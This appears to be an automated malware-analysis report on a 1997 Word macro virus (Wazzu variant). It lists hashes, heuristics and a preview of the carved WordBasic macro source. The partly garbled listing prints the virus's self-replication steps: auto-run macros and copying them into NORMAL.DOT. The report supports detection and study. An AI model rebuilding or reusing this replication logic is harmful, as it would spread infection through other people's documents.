Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6782095bf0b7f6c8…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: c7bef5a5c545fb70f5431a2f5c40c561 SHA-1: 48c7d11ad7d336cafce74ab2e8c10421aea199a2 SHA-256: 6782095bf0b7f6c86ed659aa04664ba6ebb622b45e1c41db9fe0573c6e58a2e2
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, specifically "RSN MACRO VIRUS", and the document body contains explicit references to this being a "Goat file" created in 1997. This indicates a historical macro-based threat designed for propagation. No specific IOCs beyond the marker itself were extracted.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1027 bytes
SHA-256: 9102326ac5c24e420a76c7ed7fc524d95dfd2e665ce9962efad76a0c09ae31f0
Preview script
First 1,000 lines of the extracted script
, , = , ,       8300   ,  
    10272 25199 8233 29793  
      24933 8300 17253 29551 29551   8300    
17765    
21349      
    29793 20325     @cmd6420     29793
MAIN
,   16741
MAIN
, - * errCt
@cmd00d1 = 0
@cmd80d6 0
SaveMacros "autoOpen"
SaveMacros "FileClose"
SaveMacros "AutoExec"
SaveMacros "FileExit"
SaveMacros "FileSave"
SaveMacros "FileOpen"
PayDay
* bye
, - * 0
PayDay
@cmd800e
RndWord
@cmd8116
sword$ = @cmd8015
@cmd001c
RndWord
@cmd8012 sword$ = " "
RndWord
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8002 @cmd800e @cmd8006 dlg
@cmdc010
@cmdc003 wordNum
SaveMacros M$
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":" = M$
globMacro$ = "Global:" = M$
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
MAIN
, -
AutoOpen
@cmd80a2 Save
, - * 0
MAIN
autoOpen
, - * cancelled
dlg @cmd0050
dlg
dlg
@cmd0050 dlg 25964
, - * 0
MAIN
, -
autoOpen
@cmd0053
, - * 0
MAIN
, -
autoOpen
@cmd80a0
, - * 0

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